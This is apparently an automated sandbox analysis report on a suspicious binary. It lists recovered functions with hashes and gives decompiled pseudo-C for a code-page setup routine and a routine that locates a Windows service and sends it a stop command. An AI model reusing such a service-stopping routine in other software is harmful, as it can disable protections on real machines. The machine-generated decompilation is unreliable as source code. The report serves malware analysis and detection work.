Uniqueness

Uniqueness Score: -1.00%

Function 00AF2F9B, Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction ID: dfb661570ecc2d0f0a3f920ba3a4e10c1c29bfaf40e5e43216b97fd414011378
Opcode Fuzzy Hash: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction Fuzzy Hash: CC9146732090E749DF6A47BA857403DFEF15A523A131A07AEF5F2CB1C5EE24CA64D620

Uniqueness

Uniqueness Score: -1.00%

Function 00AF2A19, Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: 92ba91fa1922c4b796e0a7ee5bb95a17c545eaabe34c4f050d4adfcbf6efced3
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: 1D9152722090A70ADB2E47BA857463EFFE15B513A131A07ADF9F2CB1C5ED14C954E720

Uniqueness

Uniqueness Score: -1.00%

Function 00AF276F, Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: 6f10eb5e9aaa200355336373f26c348db104c7b6b416853d5a3f9c239b318dce
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: D28173322090A749DB2E43BA857423EFFE15B523A171A079DF5F2CB1C1EE208954EB60

Uniqueness

Uniqueness Score: -1.00%

Function 00AF754C, Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2451673100a659cfa1c85a9a645a8095093ecdd473d07e44b470395cb47eb114
Instruction ID: dd17de98984259d7b88606327fe18fee3e4b43ab13098e5414a898cd2ac55198
Opcode Fuzzy Hash: 2451673100a659cfa1c85a9a645a8095093ecdd473d07e44b470395cb47eb114
Instruction Fuzzy Hash: 56516171E04119EFDF14CF99C991ABEBBB2EF88304F1980ADE515AB241C7359E51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B0C1A7, Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b75ddac3fa45c567c4658f5c136558ff2040a56b7f30ca5c9a6747b0125ce3fa
Instruction ID: c029cc07b1ea43ce2532f7d82fcd958a0f623b8917b87f7c20116418f7127ee7
Opcode Fuzzy Hash: b75ddac3fa45c567c4658f5c136558ff2040a56b7f30ca5c9a6747b0125ce3fa
Instruction Fuzzy Hash: B621A473F2043847770CC47E8C52279B6E1C68C511745827AE8A6DA3C1D968D917E2E4

Uniqueness

Uniqueness Score: -1.00%

Function 00B0C07B, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9e2dc0eb6fe2319d3e3b363f831375dd93860b4db38a9c56ed33a848c0821ff
Instruction ID: 95bc77582b0e4418285650ea1821ea31174c28a0c34a66907cdcbb8b4f8cde14
Opcode Fuzzy Hash: d9e2dc0eb6fe2319d3e3b363f831375dd93860b4db38a9c56ed33a848c0821ff
Instruction Fuzzy Hash: F2119463F30C295B675C816D8C17379A6D2EADC25030F537AE82AEB2C4E954DE23D390

Uniqueness

Uniqueness Score: -1.00%

Function 00AF2350, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 12e1fdb4006a3d1c180abb9a98470270d8c0d00508d4ee5f5e7a883702dbce03
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5B113BFB24454943D61487EDD8B47BAF796EBD532072D437AF2414F744C23AE549AB00

Uniqueness

Uniqueness Score: -1.00%

Function 00B031CD, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 799e48871f464642f0f6783443ffc47427fb5781efd7cad25c0233c529167935
Instruction ID: d5203526d5ef4f64c963ce93cdfcc5db3956e827f8b0f5a4ee7bbbe240cfeae5
Opcode Fuzzy Hash: 799e48871f464642f0f6783443ffc47427fb5781efd7cad25c0233c529167935
Instruction Fuzzy Hash: 7EE04632915228EBC725DA8C994999AFBFCEB09B11B1145DAB904E3240C271DE00C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00AFB437, Relevance: 22.8, APIs: 15, Instructions: 341
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00AFB437(void* __ecx, signed char* __edx, intOrPtr* _a4) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				signed char* _v48;
				signed char _v52;
				intOrPtr* _v56;
				signed int _v60;
				short* _v64;
				signed char _v68;
				signed char* _v72;
				intOrPtr _v76;
				signed char _v80;
				void* _v84;
				char _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t118;
				intOrPtr _t120;
				signed char _t140;
				signed short _t143;
				signed int _t144;
				void* _t147;
				void* _t150;
				void* _t153;
				void* _t154;
				void* _t157;
				signed int _t160;
				signed char _t161;
				signed char _t179;
				signed char _t184;
				signed char* _t186;
				signed char _t187;
				void* _t194;
				signed char _t195;
				void* _t197;
				void* _t200;
				intOrPtr _t204;
				signed char _t208;
				intOrPtr _t209;
				signed char* _t210;
				signed int _t211;
				signed int _t218;
				signed char _t219;
				intOrPtr _t220;
				signed char* _t224;
				void* _t225;
				int* _t226;
				signed int* _t237;
				short* _t238;
				intOrPtr* _t239;
				signed char* _t240;
				short* _t244;
				signed int _t245;
				signed int _t246;
				void* _t247;
				void* _t248;

				_t221 = __edx;
				_t200 = __ecx;
				_t118 =  *0xb42074; // 0x80d348a2
				_v8 = _t118 ^ _t246;
				_t239 = _a4;
				_t195 = 0;
				_v56 = _t239;
				_v32 = 0;
				_v44 = 0;
				_t120 =  *((intOrPtr*)(_t239 + 0xa8));
				_v36 = 0;
				_v40 = 0;
				_v88 = _t239;
				_v84 = 0;
				if(_t120 == 0) {
					__eflags =  *(_t239 + 0x8c);
					if( *(_t239 + 0x8c) != 0) {
						asm("lock dec dword [eax]");
					}
					 *(_t239 + 0x8c) = _t195;
					__eflags = 0;
					 *(_t239 + 0x90) = _t195;
					 *_t239 = 0xb1b6e0;
					 *((intOrPtr*)(_t239 + 0x94)) = 0xb1b960;
					 *((intOrPtr*)(_t239 + 0x98)) = 0xb1bae0;
					 *(_t239 + 4) = 1;
					L48:
					return E00ADA4E2(_t195, _v8 ^ _t246, _t221, _t225, _t239);
				}
				_push(_t225);
				_t226 = _t239 + 8;
				_v52 = 0;
				if( *_t226 != 0) {
					L3:
					_v52 = E00B00B22(_t200, 1, 4);
					E00B00B7F(_t195);
					_v32 = E00B00B22(_t200, 0x180, 2);
					E00B00B7F(_t195);
					_v44 = E00B00B22(_t200, 0x180, 1);
					E00B00B7F(_t195);
					_v36 = E00B00B22(_t200, 0x180, 1);
					E00B00B7F(_t195);
					_v40 = E00B00B22(_t200, 0x101, 1);
					E00B00B7F(_t195);
					_t248 = _t247 + 0x3c;
					if(_v52 == _t195 || _v32 == _t195) {
						L43:
						E00B00B7F(_v52);
						E00B00B7F(_v32);
						E00B00B7F(_v44);
						E00B00B7F(_v36);
						_t195 = 1;
						__eflags = 1;
						goto L44;
					} else {
						_t204 = _v40;
						if(_t204 == 0 || _v44 == _t195 || _v36 == _t195) {
							goto L43;
						} else {
							_t140 = _t195;
							do {
								 *(_t140 + _t204) = _t140;
								_t140 = _t140 + 1;
							} while (_t140 < 0x100);
							if(GetCPInfo( *_t226,  &_v28) == 0) {
								goto L43;
							}
							_t143 = _v28;
							if(_t143 > 5) {
								goto L43;
							}
							_t144 = _t143 & 0x0000ffff;
							_v60 = _t144;
							if(_t144 <= 1) {
								L22:
								_t221 = 0xff;
								_v48 = _v40 + 1;
								_t147 = E00B024D8(_t266, _t195,  *((intOrPtr*)(_t239 + 0xa8)), 0x100, _v40 + 1, 0xff, _v44 + 0x81, 0xff,  *_t226, _t195);
								_t248 = _t248 + 0x24;
								_t267 = _t147;
								if(_t147 == 0) {
									goto L43;
								}
								_t150 = E00B024D8(_t267, _t195,  *((intOrPtr*)(_t239 + 0xa8)), 0x200, _v48, 0xff, _v36 + 0x81, 0xff,  *_t226, _t195);
								_t248 = _t248 + 0x24;
								_t268 = _t150;
								if(_t150 == 0) {
									goto L43;
								}
								_v76 = _v32 + 0x100;
								_t153 = E00B062B4(_t268, _t195, 1, _v40, 0x100, _v32 + 0x100,  *_t226, _t195);
								_t248 = _t248 + 0x1c;
								if(_t153 == 0) {
									goto L43;
								}
								_t154 = _v32;
								_t208 = _t154 + 0xfe;
								 *_t208 = 0;
								_t221 = _v36;
								_v80 = _t208;
								_t209 = _v44;
								_t240 =  &(_t221[0x80]);
								_v72 = _t240;
								 *(_t209 + 0x7f) = _t195;
								_t210 = _t209 - 0xffffff80;
								_t221[0x7f] = _t195;
								_v48 = _t210;
								 *_t210 = _t195;
								 *_t240 = _t195;
								if(_v60 <= 1) {
									L39:
									_t211 = 0x3f;
									_push(0x1f);
									_t157 = memcpy(_v32, _v32 + 0x200, _t211 << 2);
									_push(0x1f);
									asm("movsw");
									memcpy(_t157, _t157 + 0x100, 0 << 2);
									asm("movsw");
									asm("movsb");
									_t160 = memcpy(_v36, _v36 + 0x100, 0 << 2);
									asm("movsw");
									asm("movsb");
									_t239 = _v56;
									if( *(_t239 + 0x8c) != 0) {
										asm("lock xadd [ecx], eax");
										if((_t160 | 0xffffffff) == 0) {
											E00B00B7F( *(_t239 + 0x90) - 0xfe);
											E00B00B7F( *((intOrPtr*)(_t239 + 0x94)) - 0x80);
											E00B00B7F( *((intOrPtr*)(_t239 + 0x98)) - 0x80);
											E00B00B7F( *(_t239 + 0x8c));
										}
									}
									_t161 = _v52;
									 *_t161 = 1;
									 *(_t239 + 0x8c) = _t161;
									 *_t239 = _v76;
									 *(_t239 + 0x90) = _v80;
									 *((intOrPtr*)(_t239 + 0x94)) = _v48;
									 *((intOrPtr*)(_t239 + 0x98)) = _v36 - 0xffffff80;
									 *(_t239 + 4) = _v60;
									L44:
									E00B00B7F(_v40);
									_pop(_t225);
									goto L48;
								}
								if( *_t226 != 0xfde9) {
									_t221 =  &_v22;
									__eflags = _v22 - _t195;
									if(_v22 == _t195) {
										goto L39;
									}
									_t197 = _v32;
									while(1) {
										_t179 = _t221[1];
										__eflags = _t179;
										if(_t179 == 0) {
											break;
										}
										_t218 =  *_t221 & 0x000000ff;
										__eflags = _t218 - (_t179 & 0x000000ff);
										if(_t218 > (_t179 & 0x000000ff)) {
											L37:
											_t221 =  &(_t221[2]);
											__eflags =  *_t221;
											if( *_t221 != 0) {
												continue;
											}
											break;
										}
										_v64 = _t197 + 0x100 + _t218 * 2;
										_t237 =  &(_t240[_t218]);
										_t184 = _v48 - _t240;
										__eflags = _t184;
										_t244 = _v64;
										_v68 = _t184;
										do {
											 *_t244 = 0x8000;
											_t244 = _t244 + 2;
											 *(_t237 + _t184) = _t218;
											 *_t237 = _t218;
											_t218 = _t218 + 1;
											_t237 =  &(_t237[0]);
											__eflags = _t218 - (_t221[1] & 0x000000ff);
											_t184 = _v68;
										} while (_t218 <= (_t221[1] & 0x000000ff));
										_t197 = _v32;
										_t240 = _v72;
										goto L37;
									}
									L38:
									_t195 = 0;
									goto L39;
								}
								_t238 = _t154 + 0x284;
								_t219 = 0xc2;
								_t221 = _v48 - _t240;
								do {
									_t186 =  &(_t240[_t219]);
									 *_t238 = 0x8000;
									_t221[_t186] = _t219;
									_t238 = _t238 + 2;
									 *_t186 = _t219;
									_t219 = _t219 + 1;
								} while (_t219 <= 0xf5);
								goto L38;
							}
							_t266 =  *_t226 - 0xfde9;
							if( *_t226 != 0xfde9) {
								_t224 =  &_v22;
								__eflags = _v22 - _t195;
								if(__eflags == 0) {
									goto L22;
								}
								_t220 = _v40;
								while(1) {
									_t187 = _t224[1];
									__eflags = _t187;
									if(__eflags == 0) {
										break;
									}
									_t245 =  *_t224 & 0x000000ff;
									__eflags = _t245 - (_t187 & 0x000000ff);
									if(_t245 > (_t187 & 0x000000ff)) {
										L20:
										_t224 =  &(_t224[2]);
										__eflags =  *_t224 - _t195;
										if(__eflags != 0) {
											continue;
										}
										break;
									} else {
										goto L19;
									}
									do {
										L19:
										 *((char*)(_t245 + _t220)) = 0x20;
										_t245 = _t245 + 1;
										__eflags = _t245 - (_t224[1] & 0x000000ff);
									} while (_t245 <= (_t224[1] & 0x000000ff));
									goto L20;
								}
								_t239 = _v56;
								goto L22;
							}
							E00AF1C70(_t226, _v40 - 0xffffff80, 0x20, 0x80);
							_t248 = _t248 + 0xc;
							goto L22;
						}
					}
				}
				_push(_t226);
				_push(0x1004);
				_push(_t120);
				_push(0);
				_push( &_v88);
				_t194 = E00B06102(__edx);
				_t248 = _t247 + 0x14;
				if(_t194 != 0) {
					goto L43;
				}
				goto L3;
			}

0x00afb437
0x00afb437
0x00afb43f
0x00afb446
0x00afb44b
0x00afb44e
0x00afb450
0x00afb453
0x00afb456
0x00afb459
0x00afb45f
0x00afb462
0x00afb465
0x00afb468
0x00afb46d
0x00afb825
0x00afb827
0x00afb829
0x00afb829
0x00afb82c
0x00afb832
0x00afb834
0x00afb83a
0x00afb840
0x00afb84a
0x00afb854
0x00afb85b
0x00afb86a
0x00afb86a
0x00afb473
0x00afb474
0x00afb477
0x00afb47c
0x00afb49a
0x00afb4a4
0x00afb4a7
0x00afb4b9
0x00afb4bc
0x00afb4ce
0x00afb4d1
0x00afb4e3
0x00afb4e6
0x00afb4f8
0x00afb4fb
0x00afb500
0x00afb506
0x00afb7eb
0x00afb7ee
0x00afb7f6
0x00afb7fe
0x00afb806
0x00afb810
0x00afb810
0x00000000
0x00afb515
0x00afb515
0x00afb51a
0x00000000
0x00afb532
0x00afb532
0x00afb534
0x00afb534
0x00afb537
0x00afb538
0x00afb54d
0x00000000
0x00000000
0x00afb553
0x00afb559
0x00000000
0x00000000
0x00afb55f
0x00afb562
0x00afb568
0x00afb5bd
0x00afb5c0
0x00afb5e0
0x00afb5e4
0x00afb5e9
0x00afb5ec
0x00afb5ee
0x00000000
0x00000000
0x00afb616
0x00afb61b
0x00afb61e
0x00afb620
0x00000000
0x00000000
0x00afb63a
0x00afb640
0x00afb645
0x00afb64a
0x00000000
0x00000000
0x00afb650
0x00afb655
0x00afb65b
0x00afb65e
0x00afb661
0x00afb664
0x00afb667
0x00afb66d
0x00afb670
0x00afb673
0x00afb67a
0x00afb67d
0x00afb680
0x00afb682
0x00afb684
0x00afb723
0x00afb72a
0x00afb72b
0x00afb736
0x00afb739
0x00afb73b
0x00afb745
0x00afb74b
0x00afb74d
0x00afb756
0x00afb758
0x00afb75a
0x00afb75b
0x00afb766
0x00afb76b
0x00afb76f
0x00afb77d
0x00afb790
0x00afb79e
0x00afb7a9
0x00afb7ae
0x00afb76f
0x00afb7b1
0x00afb7b4
0x00afb7ba
0x00afb7c3
0x00afb7c8
0x00afb7d1
0x00afb7dd
0x00afb7e6
0x00afb811
0x00afb814
0x00afb81c
0x00000000
0x00afb81c
0x00afb690
0x00afb6c0
0x00afb6c3
0x00afb6c6
0x00000000
0x00000000
0x00afb6c8
0x00afb6cb
0x00afb6cb
0x00afb6ce
0x00afb6d0
0x00000000
0x00000000
0x00afb6d2
0x00afb6d8
0x00afb6da
0x00afb719
0x00afb719
0x00afb71c
0x00afb71f
0x00000000
0x00000000
0x00000000
0x00afb71f
0x00afb6ea
0x00afb6ed
0x00afb6f3
0x00afb6f3
0x00afb6f5
0x00afb6f8
0x00afb6fb
0x00afb6fb
0x00afb6fe
0x00afb701
0x00afb704
0x00afb706
0x00afb70b
0x00afb70c
0x00afb70e
0x00afb70e
0x00afb713
0x00afb716
0x00000000
0x00afb716
0x00afb721
0x00afb721
0x00000000
0x00afb721
0x00afb695
0x00afb69b
0x00afb6a0
0x00afb6a7
0x00afb6a7
0x00afb6aa
0x00afb6ad
0x00afb6b0
0x00afb6b3
0x00afb6b5
0x00afb6b6
0x00000000
0x00afb6be
0x00afb56a
0x00afb570
0x00afb58a
0x00afb58d
0x00afb590
0x00000000
0x00000000
0x00afb592
0x00afb595
0x00afb595
0x00afb598
0x00afb59a
0x00000000
0x00000000
0x00afb59c
0x00afb5a2
0x00afb5a4
0x00afb5b3
0x00afb5b3
0x00afb5b6
0x00afb5b8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00afb5a6
0x00afb5a6
0x00afb5a6
0x00afb5aa
0x00afb5af
0x00afb5af
0x00000000
0x00afb5a6
0x00afb5ba
0x00000000
0x00afb5ba
0x00afb580
0x00afb585
0x00000000
0x00afb585
0x00afb51a
0x00afb506
0x00afb47e
0x00afb47f
0x00afb484
0x00afb488
0x00afb489
0x00afb48a
0x00afb48f
0x00afb494
0x00000000
0x00000000
0x00000000

APIs

_free.LIBCMT ref: 00AFB4A7
_free.LIBCMT ref: 00AFB4BC
_free.LIBCMT ref: 00AFB4D1
_free.LIBCMT ref: 00AFB4E6
_free.LIBCMT ref: 00AFB4FB
GetCPInfo.KERNEL32(?,?), ref: 00AFB545

Part of subcall function 00B06102: _free.LIBCMT ref: 00B0616D

_free.LIBCMT ref: 00AFB77D
_free.LIBCMT ref: 00AFB790
_free.LIBCMT ref: 00AFB79E
_free.LIBCMT ref: 00AFB7A9
_free.LIBCMT ref: 00AFB7EE
_free.LIBCMT ref: 00AFB7F6
_free.LIBCMT ref: 00AFB7FE
_free.LIBCMT ref: 00AFB806
_free.LIBCMT ref: 00AFB814

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 0b14b868ea296aa2755f89ee2ccdd668023c5148edd91ca7071d54c5c08f753f
Instruction ID: db6e5ed1494699060564166899c5e901820948333f0a5ce214a560b9b531f343
Opcode Fuzzy Hash: 0b14b868ea296aa2755f89ee2ccdd668023c5148edd91ca7071d54c5c08f753f
Instruction Fuzzy Hash: 82D16C759112099FDB11AFA8C881BFEBBF5FF08300F148069F959A7292D775A845CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00ABF8E0, Relevance: 21.1, APIs: 14, Instructions: 149
servicesleepCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00ABF8E0(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, intOrPtr _a4, long _a8) {
				signed int _v8;
				short* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				struct _SERVICE_STATUS _v48;
				char _v49;
				void* _v56;
				long _v60;
				void* _v64;
				long _v68;
				intOrPtr _v72;
				void* __ebp;
				signed int _t63;
				short** _t74;
				short** _t81;
				short** _t86;
				void* _t89;
				void* _t111;
				void* _t112;
				signed int _t113;

				_t112 = __esi;
				_t111 = __edi;
				_t89 = __ebx;
				_t63 =  *0xb42074; // 0x80d348a2
				_v8 = _t63 ^ _t113;
				_v72 = __ecx;
				_v49 = 0;
				_v68 = GetTickCount();
				if((E00AA7FA0(_a4) & 0x000000ff) != 0) {
					L27:
					return E00ADA4E2(_t89, _v8 ^ _t113, _t104, _t111, _t112);
				}
				_v64 = OpenSCManagerW(0, 0, 0xf003f);
				if(_v64 == 0) {
					goto L27;
				}
				_v56 = OpenServiceW(_v64, E00AA8040(), 0x2c);
				if(_v56 == 0) {
					L26:
					CloseServiceHandle(_v64);
					goto L27;
				}
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_t74 =  &_v12;
				_t104 = _v56;
				__imp__QueryServiceStatusEx(_v56, 0,  &_v48, 0x24, _t74);
				if(_t74 == 0 || _v44 == 1) {
					L25:
					CloseServiceHandle(_v56);
					goto L26;
				} else {
					while(_v44 == 3) {
						_v60 = _v24 / 0xa;
						if(_v60 >= 0x3e8) {
							if(_v60 > 0x2710) {
								_v60 = 0x2710;
							}
						} else {
							_v60 = 0x3e8;
						}
						Sleep(_v60);
						_t86 =  &_v12;
						__imp__QueryServiceStatusEx(_v56, 0,  &_v48, 0x24, _t86);
						if(_t86 != 0) {
							if(_v44 != 1) {
								if(GetTickCount() - _v68 <= _a8) {
									continue;
								}
								break;
							}
						} else {
						}
						break;
					}
					_t104 = _v64;
					E00ABFB40(_v72, _v64, _v64, _v56, _a8);
					if(ControlService(_v56, 1,  &_v48) == 0) {
						goto L25;
					}
					while(_v44 != 1) {
						Sleep(_a8);
						_t81 =  &_v12;
						_t104 = _v56;
						__imp__QueryServiceStatusEx(_v56, 0,  &_v48, 0x24, _t81);
						if(_t81 == 0) {
							L24:
							continue;
						}
						if(_v44 != 1) {
							if(GetTickCount() - _v68 <= _a8) {
								goto L24;
							}
							goto L25;
						}
						_v49 = 1;
						goto L25;
					}
					goto L25;
				}
			}

0x00abf8e0
0x00abf8e0
0x00abf8e0
0x00abf8e6
0x00abf8ed
0x00abf8f0
0x00abf8f3
0x00abf8fd
0x00abf90d
0x00abfa98
0x00abfaa8
0x00abfaa8
0x00abf922
0x00abf929
0x00000000
0x00000000
0x00abf944
0x00abf94b
0x00abfa8e
0x00abfa92
0x00000000
0x00abfa92
0x00abf953
0x00abf956
0x00abf959
0x00abf95c
0x00abf95f
0x00abf962
0x00abf965
0x00abf968
0x00abf96b
0x00abf96e
0x00abf975
0x00abf981
0x00abf985
0x00abf98d
0x00abfa84
0x00abfa88
0x00000000
0x00abf99d
0x00abf99d
0x00abf9af
0x00abf9b9
0x00abf9cb
0x00abf9cd
0x00abf9cd
0x00abf9bb
0x00abf9bb
0x00abf9bb
0x00abf9d8
0x00abf9de
0x00abf9ee
0x00abf9f6
0x00abf9fe
0x00abfa0e
0x00000000
0x00abfa12
0x00000000
0x00abfa10
0x00000000
0x00abf9f8
0x00000000
0x00abf9f6
0x00abfa1c
0x00abfa23
0x00abfa3a
0x00000000
0x00000000
0x00abfa3c
0x00abfa46
0x00abfa4c
0x00abfa58
0x00abfa5c
0x00abfa64
0x00abfa82
0x00000000
0x00abfa82
0x00abfa6a
0x00abfa7e
0x00000000
0x00000000
0x00000000
0x00abfa80
0x00abfa6c
0x00000000
0x00abfa6c
0x00000000
0x00abfa3c

APIs

GetTickCount.KERNEL32 ref: 00ABF8F7
std::ios_base::good.LIBCPMTD ref: 00ABF903
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F), ref: 00ABF91C
OpenServiceW.ADVAPI32(00000000,00000000,0000002C), ref: 00ABF93E
QueryServiceStatusEx.ADVAPI32(00000000,00000000,?,00000024,00000000), ref: 00ABF985
Sleep.KERNEL32(00002710), ref: 00ABF9D8
